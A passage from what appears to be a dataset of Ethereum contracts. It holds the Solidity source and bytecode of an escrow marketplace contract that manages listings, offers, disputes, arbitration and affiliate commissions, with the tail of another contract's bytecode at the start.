fffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611a2282600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d3290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c7057600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c975abb6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515611cf557600080fd5b5af11515611d0257600080fd5b505050604051805190501515611d1757600080fd5b565b6000828211151515611d2757fe5b818303905092915050565b6000808284019050838110151515611d4657fe5b80915050929150505600a165627a7a72305820a0d9c6827468df19a1c08eb8f468e8187d37da7d6e10302d8bc8a50019e307400029
{"success": true, "error": null, "results": {}}
9,577
0x819Bb9964B6eBF52361F1ae42CF4831B921510f9
pragma solidity ^0.4.24; // produced by the Solididy File Flattener (c) David Appleton 2018 // contact : dave@akomba.com // released under Apache 2.0 licence contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20 { function transfer(address _to, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); } contract V00_Marketplace is Ownable { /** * @notice All events have the same indexed signature offsets for easy filtering */ event MarketplaceData (address indexed party, bytes32 ipfsHash); event AffiliateAdded (address indexed party, bytes32 ipfsHash); event AffiliateRemoved (address indexed party, bytes32 ipfsHash); event ListingCreated (address indexed party, uint indexed listingID, bytes32 ipfsHash); event ListingUpdated (address indexed party, uint indexed listingID, bytes32 ipfsHash); event ListingWithdrawn (address indexed party, uint indexed listingID, bytes32 ipfsHash); event ListingArbitrated(address indexed party, uint indexed listingID, bytes32 ipfsHash); event ListingData (address indexed party, uint indexed listingID, bytes32 ipfsHash); event OfferCreated (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash); event OfferAccepted (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash); event OfferFinalized (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash); event OfferWithdrawn (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash); event OfferFundsAdded (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash); event OfferDisputed (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash); event OfferRuling (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash, uint ruling); event OfferData (address indexed party, uint indexed listingID, uint indexed offerID, bytes32 ipfsHash); struct Listing { address seller; // Seller wallet / identity contract / other contract uint deposit; // Deposit in Origin Token address depositManager; // Address that decides token distribution } struct Offer { uint value; // Amount in Eth or ERC20 buyer is offering uint commission; // Amount of commission earned if offer is finalized uint refund; // Amount to refund buyer upon finalization ERC20 currency; // Currency of listing address buyer; // Buyer wallet / identity contract / other contract address affiliate; // Address to send any commission address arbitrator; // Address that settles disputes uint finalizes; // Timestamp offer finalizes uint8 status; // 0: Undefined, 1: Created, 2: Accepted, 3: Disputed } Listing[] public listings; mapping(uint => Offer[]) public offers; // listingID => Offers mapping(address => bool) public allowedAffiliates; ERC20 public tokenAddr; // Origin Token address constructor(address _tokenAddr) public { owner = msg.sender; setTokenAddr(_tokenAddr); // Origin Token contract allowedAffiliates[0x0] = true; // Allow null affiliate by default } // @dev Return the total number of listings function totalListings() public view returns (uint) { return listings.length; } // @dev Return the total number of offers function totalOffers(uint listingID) public view returns (uint) { return offers[listingID].length; } // @dev Seller creates listing function createListing(bytes32 _ipfsHash, uint _deposit, address _depositManager) public { _createListing(msg.sender, _ipfsHash, _deposit, _depositManager); } // @dev Can only be called by token function createListingWithSender( address _seller, bytes32 _ipfsHash, uint _deposit, address _depositManager ) public returns (bool) { require(msg.sender == address(tokenAddr), "Token must call"); _createListing(_seller, _ipfsHash, _deposit, _depositManager); return true; } // Private function _createListing( address _seller, bytes32 _ipfsHash, // IPFS JSON with details, pricing, availability uint _deposit, // Deposit in Origin Token address _depositManager // Address of listing depositManager ) private { /* require(_deposit > 0); // Listings must deposit some amount of Origin Token */ require(_depositManager != 0x0, "Must specify depositManager"); listings.push(Listing({ seller: _seller, deposit: _deposit, depositManager: _depositManager })); if (_deposit > 0) { tokenAddr.transferFrom(_seller, this, _deposit); // Transfer Origin Token } emit ListingCreated(_seller, listings.length - 1, _ipfsHash); } // @dev Seller updates listing function updateListing( uint listingID, bytes32 _ipfsHash, uint _additionalDeposit ) public { _updateListing(msg.sender, listingID, _ipfsHash, _additionalDeposit); } function updateListingWithSender( address _seller, uint listingID, bytes32 _ipfsHash, uint _additionalDeposit ) public returns (bool) { require(msg.sender == address(tokenAddr), "Token must call"); _updateListing(_seller, listingID, _ipfsHash, _additionalDeposit); return true; } function _updateListing( address _seller, uint listingID, bytes32 _ipfsHash, // Updated IPFS hash uint _additionalDeposit // Additional deposit to add ) private { Listing storage listing = listings[listingID]; require(listing.seller == _seller, "Seller must call"); if (_additionalDeposit > 0) { tokenAddr.transferFrom(_seller, this, _additionalDeposit); listing.deposit += _additionalDeposit; } emit ListingUpdated(listing.seller, listingID, _ipfsHash); } // @dev Listing depositManager withdraws listing. IPFS hash contains reason for withdrawl. function withdrawListing(uint listingID, address _target, bytes32 _ipfsHash) public { Listing storage listing = listings[listingID]; require(msg.sender == listing.depositManager, "Must be depositManager"); require(_target != 0x0, "No target"); tokenAddr.transfer(_target, listing.deposit); // Send deposit to target emit ListingWithdrawn(_target, listingID, _ipfsHash); } // @dev Buyer makes offer. function makeOffer( uint listingID, bytes32 _ipfsHash, // IPFS hash containing offer data uint _finalizes, // Timestamp an accepted offer will finalize address _affiliate, // Address to send any required commission to uint256 _commission, // Amount of commission to send in Origin Token if offer finalizes uint _value, // Offer amount in ERC20 or Eth ERC20 _currency, // ERC20 token address or 0x0 for Eth address _arbitrator // Escrow arbitrator ) public payable { bool affiliateWhitelistDisabled = allowedAffiliates[address(this)]; require( affiliateWhitelistDisabled || allowedAffiliates[_affiliate], "Affiliate not allowed" ); if (_affiliate == 0x0) { // Avoid commission tokens being trapped in marketplace contract. require(_commission == 0, "commission requires affiliate"); } offers[listingID].push(Offer({ status: 1, buyer: msg.sender, finalizes: _finalizes, affiliate: _affiliate, commission: _commission, currency: _currency, value: _value, arbitrator: _arbitrator, refund: 0 })); if (address(_currency) == 0x0) { // Listing is in ETH require(msg.value == _value, "ETH value doesn't match offer"); } else { // Listing is in ERC20 require(msg.value == 0, "ETH would be lost"); require( _currency.transferFrom(msg.sender, this, _value), "transferFrom failed" ); } emit OfferCreated(msg.sender, listingID, offers[listingID].length-1, _ipfsHash); } // @dev Make new offer after withdrawl function makeOffer( uint listingID, bytes32 _ipfsHash, uint _finalizes, address _affiliate, uint256 _commission, uint _value, ERC20 _currency, address _arbitrator, uint _withdrawOfferID ) public payable { withdrawOffer(listingID, _withdrawOfferID, _ipfsHash); makeOffer(listingID, _ipfsHash, _finalizes, _affiliate, _commission, _value, _currency, _arbitrator); } // @dev Seller accepts offer function acceptOffer(uint listingID, uint offerID, bytes32 _ipfsHash) public { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; require(msg.sender == listing.seller, "Seller must accept"); require(offer.status == 1, "status != created"); require( listing.deposit >= offer.commission, "deposit must cover commission" ); if (offer.finalizes < 1000000000) { // Relative finalization window offer.finalizes = now + offer.finalizes; } listing.deposit -= offer.commission; // Accepting an offer puts Origin Token into escrow offer.status = 2; // Set offer to 'Accepted' emit OfferAccepted(msg.sender, listingID, offerID, _ipfsHash); } // @dev Buyer withdraws offer. IPFS hash contains reason for withdrawl. function withdrawOffer(uint listingID, uint offerID, bytes32 _ipfsHash) public { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; require( msg.sender == offer.buyer || msg.sender == listing.seller, "Restricted to buyer or seller" ); require(offer.status == 1, "status != created"); refundBuyer(listingID, offerID); emit OfferWithdrawn(msg.sender, listingID, offerID, _ipfsHash); delete offers[listingID][offerID]; } // @dev Buyer adds extra funds to an accepted offer. function addFunds(uint listingID, uint offerID, bytes32 _ipfsHash, uint _value) public payable { Offer storage offer = offers[listingID][offerID]; require(msg.sender == offer.buyer, "Buyer must call"); require(offer.status == 2, "status != accepted"); if (address(offer.currency) == 0x0) { // Listing is in ETH require( msg.value == _value, "sent != offered value" ); } else { // Listing is in ERC20 require(msg.value == 0, "ETH must not be sent"); require( offer.currency.transferFrom(msg.sender, this, _value), "transferFrom failed" ); } offer.value += _value; emit OfferFundsAdded(msg.sender, listingID, offerID, _ipfsHash); } // @dev Buyer must finalize transaction to receive commission function finalize(uint listingID, uint offerID, bytes32 _ipfsHash) public { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; if (now <= offer.finalizes) { // Only buyer can finalize before finalization window require( msg.sender == offer.buyer, "Only buyer can finalize" ); } else { // Allow both seller and buyer to finalize if finalization window has passed require( msg.sender == offer.buyer || msg.sender == listing.seller, "Seller or buyer must finalize" ); } require(offer.status == 2, "status != accepted"); paySeller(listingID, offerID); // Pay seller if (msg.sender == offer.buyer) { // Only pay commission if buyer is finalizing payCommission(listingID, offerID); } emit OfferFinalized(msg.sender, listingID, offerID, _ipfsHash); delete offers[listingID][offerID]; } // @dev Buyer or seller can dispute transaction during finalization window function dispute(uint listingID, uint offerID, bytes32 _ipfsHash) public { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; require( msg.sender == offer.buyer || msg.sender == listing.seller, "Must be seller or buyer" ); require(offer.status == 2, "status != accepted"); require(now <= offer.finalizes, "Already finalized"); offer.status = 3; // Set status to "Disputed" emit OfferDisputed(msg.sender, listingID, offerID, _ipfsHash); } // @dev Called by arbitrator function executeRuling( uint listingID, uint offerID, bytes32 _ipfsHash, uint _ruling, // 0: Seller, 1: Buyer, 2: Com + Seller, 3: Com + Buyer uint _refund ) public { Offer storage offer = offers[listingID][offerID]; require(msg.sender == offer.arbitrator, "Must be arbitrator"); require(offer.status == 3, "status != disputed"); require(_refund <= offer.value, "refund too high"); offer.refund = _refund; if (_ruling & 1 == 1) { refundBuyer(listingID, offerID); } else { paySeller(listingID, offerID); } if (_ruling & 2 == 2) { payCommission(listingID, offerID); } else { // Refund commission to seller listings[listingID].deposit += offer.commission; } emit OfferRuling(offer.arbitrator, listingID, offerID, _ipfsHash, _ruling); delete offers[listingID][offerID]; } // @dev Sets the amount that a seller wants to refund to a buyer. function updateRefund(uint listingID, uint offerID, uint _refund, bytes32 _ipfsHash) public { Offer storage offer = offers[listingID][offerID]; Listing storage listing = listings[listingID]; require(msg.sender == listing.seller, "Seller must call"); require(offer.status == 2, "status != accepted"); require(_refund <= offer.value, "Excessive refund"); offer.refund = _refund; emit OfferData(msg.sender, listingID, offerID, _ipfsHash); } // @dev Refunds buyer in ETH or ERC20 - used by 1) executeRuling() and 2) to allow a seller to refund a purchase function refundBuyer(uint listingID, uint offerID) private { Offer storage offer = offers[listingID][offerID]; if (address(offer.currency) == 0x0) { require(offer.buyer.send(offer.value), "ETH refund failed"); } else { require( offer.currency.transfer(offer.buyer, offer.value), "Refund failed" ); } } // @dev Pay seller in ETH or ERC20 function paySeller(uint listingID, uint offerID) private { Listing storage listing = listings[listingID]; Offer storage offer = offers[listingID][offerID]; uint value = offer.value - offer.refund; if (address(offer.currency) == 0x0) { require(offer.buyer.send(offer.refund), "ETH refund failed"); require(listing.seller.send(value), "ETH send failed"); } else { require( offer.currency.transfer(offer.buyer, offer.refund), "Refund failed" ); require( offer.currency.transfer(listing.seller, value), "Transfer failed" ); } } // @dev Pay commission to affiliate function payCommission(uint listingID, uint offerID) private { Offer storage offer = offers[listingID][offerID]; if (offer.affiliate != 0x0) { require( tokenAddr.transfer(offer.affiliate, offer.commission), "Commission transfer failed" ); } } // @dev Associate ipfs data with the marketplace function addData(bytes32 ipfsHash) public { emit MarketplaceData(msg.sender, ipfsHash); } // @dev Associate ipfs data with a listing function addData(uint listingID, bytes32 ipfsHash) public { emit ListingData(msg.sender, listingID, ipfsHash); } // @dev Associate ipfs data with an offer function addData(uint listingID, uint offerID, bytes32 ipfsHash) public { emit OfferData(msg.sender, listingID, offerID, ipfsHash); } // @dev Allow listing depositManager to send deposit function sendDeposit(uint listingID, address target, uint value, bytes32 ipfsHash) public { Listing storage listing = listings[listingID]; require(listing.depositManager == msg.sender, "depositManager must call"); require(listing.deposit >= value, "Value too high"); listing.deposit -= value; require(tokenAddr.transfer(target, value), "Transfer failed"); emit ListingArbitrated(target, listingID, ipfsHash); } // @dev Set the address of the Origin token contract function setTokenAddr(address _tokenAddr) public onlyOwner { tokenAddr = ERC20(_tokenAddr); } // @dev Add affiliate to whitelist. Set to address(this) to disable. function addAffiliate(address _affiliate, bytes32 ipfsHash) public onlyOwner { allowedAffiliates[_affiliate] = true; emit AffiliateAdded(_affiliate, ipfsHash); } // @dev Remove affiliate from whitelist. function removeAffiliate(address _affiliate, bytes32 ipfsHash) public onlyOwner { delete allowedAffiliates[_affiliate]; emit AffiliateRemoved(_affiliate, ipfsHash); } }
0x60806040526004361061017f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631d34be47811461018457806328af94c8146101a75780632ebd1e28146101bf5780634d03a9a5146101e057806351b18250146102535780635f0da25b146102845780635fbe4d1d146102ae57806370809757146102df578063715018a6146102fd57806378572816146103125780637d19514d146103365780638da5cb5b1461034a57806391f1f3101461035f578063963ff4cb146103895780639a8d10a3146103be5780639c3f7ca2146103d9578063a0823111146103f7578063a3111d7c1461041b578063bf77aa1f14610442578063c73111dd14610460578063c78b616c14610484578063c9c8580c14610499578063ca27eb1c146104ce578063cea4b687146104f5578063d9fefbf81461051f578063de4006291461053d578063de74e57b1461056c578063ebe65f60146105af578063f2fde38b146105cd578063fde34dc4146105ee575b600080fd5b34801561019057600080fd5b506101a560043560243560443560643561060c565b005b3480156101b357600080fd5b506101a56004356107ab565b3480156101cb57600080fd5b506101a5600160a060020a03600435166107e4565b3480156101ec57600080fd5b506101fb60043560243561082a565b60408051998a5260208a019890985288880196909652600160a060020a039485166060890152928416608088015290831660a087015290911660c085015260e084015260ff1661010083015251908190036101200190f35b6101a5600435602435604435600160a060020a036064358116906084359060a4359060c43581169060e435166108a7565b34801561029057600080fd5b506101a5600435600160a060020a0360243516604435606435610d3b565b3480156102ba57600080fd5b506102c3610f51565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b506101a5600435602435604435610f60565b34801561030957600080fd5b506101a5611128565b34801561031e57600080fd5b506101a5600160a060020a0360043516602435611194565b6101a5600435602435604435606435611207565b34801561035657600080fd5b506102c36114d3565b34801561036b57600080fd5b506103776004356114e2565b60408051918252519081900360200190f35b34801561039557600080fd5b506103aa600160a060020a03600435166114f4565b604080519115158252519081900360200190f35b3480156103ca57600080fd5b506101a5600435602435611509565b3480156103e557600080fd5b506101a5600435602435604435611544565b34801561040357600080fd5b506101a5600160a060020a0360043516602435611734565b34801561042757600080fd5b506101a5600435600160a060020a03602435166044356117a4565b34801561044e57600080fd5b506101a5600435602435604435611960565b34801561046c57600080fd5b506101a5600435602435604435606435608435611971565b34801561049057600080fd5b50610377611c15565b6101a5600435602435604435600160a060020a036064358116906084359060a4359060c43581169060e4351661010435611c1b565b3480156104da57600080fd5b506101a5600435602435600160a060020a0360443516611c41565b34801561050157600080fd5b506103aa600160a060020a0360043516602435604435606435611c4d565b34801561052b57600080fd5b506101a5600435602435604435611cc9565b34801561054957600080fd5b506103aa600160a060020a03600435811690602435906044359060643516611d08565b34801561057857600080fd5b50610584600435611d79565b60408051600160a060020a039485168152602081019390935292168183015290519081900360600190f35b3480156105bb57600080fd5b506101a5600435602435604435611db5565b3480156105d957600080fd5b506101a5600160a060020a0360043516611fbc565b3480156105fa57600080fd5b506101a5600435602435604435611fdf565b600084815260026020526040812080548291908690811061062957fe5b9060005260206000209060090201915060018681548110151561064857fe5b600091825260209091206003909102018054909150600160a060020a031633146106bc576040805160e560020a62461bcd02815260206004820152601060248201527f53656c6c6572206d7573742063616c6c00000000000000000000000000000000604482015290519081900360640190fd5b600882015460ff16600214610709576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612c1d833981519152604482015290519081900360640190fd5b8154841115610762576040805160e560020a62461bcd02815260206004820152601060248201527f45786365737369766520726566756e6400000000000000000000000000000000604482015290519081900360640190fd5b600282018490556040805184815290518691889133917f9b7312a236066d2da679eba7e3a2e86d2d07a973819499846c0efd2fd2506c80919081900360200190a4505050505050565b60408051828152905133917f8e530f3a09c59fdf1b0d5ed714b7a5b94c059256cdc29b8521e9891734c6a2b7919081900360200190a250565b600054600160a060020a031633146107fb57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60026020528160005260406000208181548110151561084557fe5b60009182526020909120600990910201805460018201546002830154600384015460048501546005860154600687015460078801546008909801549699509497509295600160a060020a03928316959183169493831693909216919060ff1689565b3060009081526003602052604090205460ff1680806108de5750600160a060020a03861660009081526003602052604090205460ff165b1515610934576040805160e560020a62461bcd02815260206004820152601560248201527f416666696c69617465206e6f7420616c6c6f7765640000000000000000000000604482015290519081900360640190fd5b600160a060020a038616151561099a57841561099a576040805160e560020a62461bcd02815260206004820152601d60248201527f636f6d6d697373696f6e20726571756972657320616666696c69617465000000604482015290519081900360640190fd5b600260008a8152602001908152602001600020610120604051908101604052808681526020018781526020016000815260200185600160a060020a0316815260200133600160a060020a0316815260200188600160a060020a0316815260200184600160a060020a03168152602001898152602001600160ff168152509080600181540180825580915050906001820390600052602060002090600902016000909192909190915060008201518160000155602082015181600101556040820151816002015560608201518160030160006101000a815481600160a060020a030219169083600160a060020a0316021790555060808201518160040160006101000a815481600160a060020a030219169083600160a060020a0316021790555060a08201518160050160006101000a815481600160a060020a030219169083600160a060020a0316021790555060c08201518160060160006101000a815481600160a060020a030219169083600160a060020a0316021790555060e082015181600701556101008201518160080160006101000a81548160ff021916908360ff16021790555050505082600160a060020a031660001415610bb157348414610bac576040805160e560020a62461bcd02815260206004820152601d60248201527f4554482076616c756520646f65736e2774206d61746368206f66666572000000604482015290519081900360640190fd5b610ce1565b3415610c07576040805160e560020a62461bcd02815260206004820152601160248201527f45544820776f756c64206265206c6f7374000000000000000000000000000000604482015290519081900360640190fd5b6040805160e060020a6323b872dd028152336004820152306024820152604481018690529051600160a060020a038516916323b872dd9160648083019260209291908290030181600087803b158015610c5f57600080fd5b505af1158015610c73573d6000803e3d6000fd5b505050506040513d6020811015610c8957600080fd5b50511515610ce1576040805160e560020a62461bcd02815260206004820152601360248201527f7472616e7366657246726f6d206661696c656400000000000000000000000000604482015290519081900360640190fd5b6000898152600260209081526040918290205482518b81529251600019909101928c9233927f6ee68cb753f284cf771c1a32c236d7ffcab6011345186a30e57837d761e868379281900390910190a4505050505050505050565b6000600185815481101515610d4c57fe5b60009182526020909120600260039092020190810154909150600160a060020a03163314610dc4576040805160e560020a62461bcd02815260206004820152601860248201527f6465706f7369744d616e61676572206d7573742063616c6c0000000000000000604482015290519081900360640190fd5b6001810154831115610e20576040805160e560020a62461bcd02815260206004820152600e60248201527f56616c756520746f6f2068696768000000000000000000000000000000000000604482015290519081900360640190fd5b6001810180548490039055600480546040805160e060020a63a9059cbb028152600160a060020a0388811694820194909452602481018790529051929091169163a9059cbb916044808201926020929091908290030181600087803b158015610e8857600080fd5b505af1158015610e9c573d6000803e3d6000fd5b505050506040513d6020811015610eb257600080fd5b50511515610f0a576040805160e560020a62461bcd02815260206004820152600f60248201527f5472616e73666572206661696c65640000000000000000000000000000000000604482015290519081900360640190fd5b6040805183815290518691600160a060020a038716917f9c9827b799328bcbadbd04862686713436136571c54d7ca0388bd952f314f8909181900360200190a35050505050565b600454600160a060020a031681565b600080600185815481101515610f7257fe5b906000526020600020906003020191506002600086815260200190815260200160002084815481101515610fa257fe5b600091825260209091206009909102016004810154909150600160a060020a0316331480610fd957508154600160a060020a031633145b151561102f576040805160e560020a62461bcd02815260206004820152601760248201527f4d7573742062652073656c6c6572206f72206275796572000000000000000000604482015290519081900360640190fd5b600881015460ff1660021461107c576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612c1d833981519152604482015290519081900360640190fd5b60078101544211156110d8576040805160e560020a62461bcd02815260206004820152601160248201527f416c72656164792066696e616c697a6564000000000000000000000000000000604482015290519081900360640190fd5b60088101805460ff191660031790556040805184815290518591879133917f11c45991938e1dec0b00887cd2368a2195fccb46b08cc56483ac3053ddb609b2919081900360200190a45050505050565b600054600160a060020a0316331461113f57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031633146111ab57600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff19166001179055815184815291517f5e48128fde8c162f70ea9f59d0a58f1d1cc40c2eec4b4c71356ab395650bfbdf9281900390910190a25050565b600084815260026020526040812080548590811061122157fe5b600091825260209091206009909102016004810154909150600160a060020a03163314611298576040805160e560020a62461bcd02815260206004820152600f60248201527f4275796572206d7573742063616c6c0000000000000000000000000000000000604482015290519081900360640190fd5b600881015460ff166002146112e5576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612c1d833981519152604482015290519081900360640190fd5b6003810154600160a060020a0316151561135557348214611350576040805160e560020a62461bcd02815260206004820152601560248201527f73656e7420213d206f6666657265642076616c75650000000000000000000000604482015290519081900360640190fd5b61148c565b34156113ab576040805160e560020a62461bcd02815260206004820152601460248201527f455448206d757374206e6f742062652073656e74000000000000000000000000604482015290519081900360640190fd5b60038101546040805160e060020a6323b872dd028152336004820152306024820152604481018590529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b15801561140a57600080fd5b505af115801561141e573d6000803e3d6000fd5b505050506040513d602081101561143457600080fd5b5051151561148c576040805160e560020a62461bcd02815260206004820152601360248201527f7472616e7366657246726f6d206661696c656400000000000000000000000000604482015290519081900360640190fd5b8054820181556040805184815290518591879133917f5f0e66c42b81a43cbd35b11ea0a599d0be1d8e1fdb61d1d4f7a98243ba6cc26b919081900360200190a45050505050565b600054600160a060020a031681565b60009081526002602052604090205490565b60036020526000908152604090205460ff1681565b604080518281529051839133917f12dc84d4005dd5b86fd88951106aa76927a62b83b85ba9c912a7268582906aa99181900360200190a35050565b60008060018581548110151561155657fe5b90600052602060002090600302019150600260008681526020019081526020016000208481548110151561158657fe5b6000918252602090912083546009909202019150600160a060020a031633146115f9576040805160e560020a62461bcd02815260206004820152601260248201527f53656c6c6572206d757374206163636570740000000000000000000000000000604482015290519081900360640190fd5b600881015460ff16600114611658576040805160e560020a62461bcd02815260206004820152601160248201527f73746174757320213d2063726561746564000000000000000000000000000000604482015290519081900360640190fd5b6001808201549083015410156116b8576040805160e560020a62461bcd02815260206004820152601d60248201527f6465706f736974206d75737420636f76657220636f6d6d697373696f6e000000604482015290519081900360640190fd5b633b9aca00816007015410156116d357600781018054420190555b600180820154908301805491909103905560088101805460ff191660021790556040805184815290518591879133917f449224201a35688b74a38ff24770e8b2a326ebf42357bf19a36f5fedbbe552a0919081900360200190a45050505050565b600054600160a060020a0316331461174b57600080fd5b600160a060020a038216600081815260036020908152604091829020805460ff19169055815184815291517f3553c89fbe376344fc3e6cfb39cce65e6d961cece468c297dad2a1e31d4fa2b69281900390910190a25050565b60006001848154811015156117b557fe5b600091825260209091206003909102016002810154909150600160a060020a0316331461182c576040805160e560020a62461bcd02815260206004820152601660248201527f4d757374206265206465706f7369744d616e6167657200000000000000000000604482015290519081900360640190fd5b600160a060020a038316151561188c576040805160e560020a62461bcd02815260206004820152600960248201527f4e6f207461726765740000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6004805460018301546040805160e060020a63a9059cbb028152600160a060020a0388811695820195909552602481019290925251929091169163a9059cbb916044808201926020929091908290030181600087803b1580156118ee57600080fd5b505af1158015611902573d6000803e3d6000fd5b505050506040513d602081101561191857600080fd5b50506040805183815290518591600160a060020a038616917fafa3dc4f271ef3419006f21140d375eba48ef3def56e8bfe6d54d0c72a81a3079181900360200190a350505050565b61196c338484846121eb565b505050565b600085815260026020526040812080548690811061198b57fe5b600091825260209091206009909102016006810154909150600160a060020a03163314611a02576040805160e560020a62461bcd02815260206004820152601260248201527f4d7573742062652061726269747261746f720000000000000000000000000000604482015290519081900360640190fd5b600881015460ff16600314611a61576040805160e560020a62461bcd02815260206004820152601260248201527f73746174757320213d2064697370757465640000000000000000000000000000604482015290519081900360640190fd5b8054821115611aba576040805160e560020a62461bcd02815260206004820152600f60248201527f726566756e6420746f6f20686967680000000000000000000000000000000000604482015290519081900360640190fd5b6002810182905560018084161415611adb57611ad6868661235f565b611ae5565b611ae5868661250d565b8260021660021415611b0057611afb8686612859565b611b2f565b8060010154600187815481101515611b1457fe5b60009182526020909120600160039092020101805490910190555b60068101546040805186815260208101869052815188938a93600160a060020a03909116927f3e4d55eb2a402ba6f500db5d75f9303dfe863a2e8319054aeddb6a35ec7e3c61929081900390910190a46000868152600260205260409020805486908110611b9957fe5b600091825260208220600990910201818155600181018290556002810182905560038101805473ffffffffffffffffffffffffffffffffffffffff19908116909155600482018054821690556005820180548216905560068201805490911690556007810191909155600801805460ff19169055505050505050565b60015490565b611c2689828a611db5565b611c3689898989898989896108a7565b505050505050505050565b61196c3384848461297f565b600454600090600160a060020a03163314611cb2576040805160e560020a62461bcd02815260206004820152600f60248201527f546f6b656e206d7573742063616c6c0000000000000000000000000000000000604482015290519081900360640190fd5b611cbe858585856121eb565b506001949350505050565b6040805182815290518391859133917f9b7312a236066d2da679eba7e3a2e86d2d07a973819499846c0efd2fd2506c80919081900360200190a4505050565b600454600090600160a060020a03163314611d6d576040805160e560020a62461bcd02815260206004820152600f60248201527f546f6b656e206d7573742063616c6c0000000000000000000000000000000000604482015290519081900360640190fd5b611cbe8585858561297f565b6001805482908110611d8757fe5b6000918252602090912060039091020180546001820154600290920154600160a060020a0391821693501683565b600080600185815481101515611dc757fe5b906000526020600020906003020191506002600086815260200190815260200160002084815481101515611df757fe5b600091825260209091206009909102016004810154909150600160a060020a0316331480611e2e57508154600160a060020a031633145b1515611e84576040805160e560020a62461bcd02815260206004820152601d60248201527f5265737472696374656420746f206275796572206f722073656c6c6572000000604482015290519081900360640190fd5b600881015460ff16600114611ee3576040805160e560020a62461bcd02815260206004820152601160248201527f73746174757320213d2063726561746564000000000000000000000000000000604482015290519081900360640190fd5b611eed858561235f565b6040805184815290518591879133917fe9ae767ab1c8f3f874a5b2810a1f6323b43283a5b462b52a4de5f8ed53a4fe25919081900360200190a46000858152600260205260409020805485908110611f4157fe5b600091825260208220600990910201818155600181018290556002810182905560038101805473ffffffffffffffffffffffffffffffffffffffff19908116909155600482018054821690556005820180548216905560068201805490911690556007810191909155600801805460ff191690555050505050565b600054600160a060020a03163314611fd357600080fd5b611fdc81612b9f565b50565b600080600185815481101515611ff157fe5b90600052602060002090600302019150600260008681526020019081526020016000208481548110151561202157fe5b906000526020600020906009020190508060070154421115156120a7576004810154600160a060020a031633146120a2576040805160e560020a62461bcd02815260206004820152601760248201527f4f6e6c792062757965722063616e2066696e616c697a65000000000000000000604482015290519081900360640190fd5b612121565b6004810154600160a060020a03163314806120cb57508154600160a060020a031633145b1515612121576040805160e560020a62461bcd02815260206004820152601d60248201527f53656c6c6572206f72206275796572206d7573742066696e616c697a65000000604482015290519081900360640190fd5b600881015460ff1660021461216e576040805160e560020a62461bcd0281526020600482015260126024820152600080516020612c1d833981519152604482015290519081900360640190fd5b612178858561250d565b6004810154600160a060020a0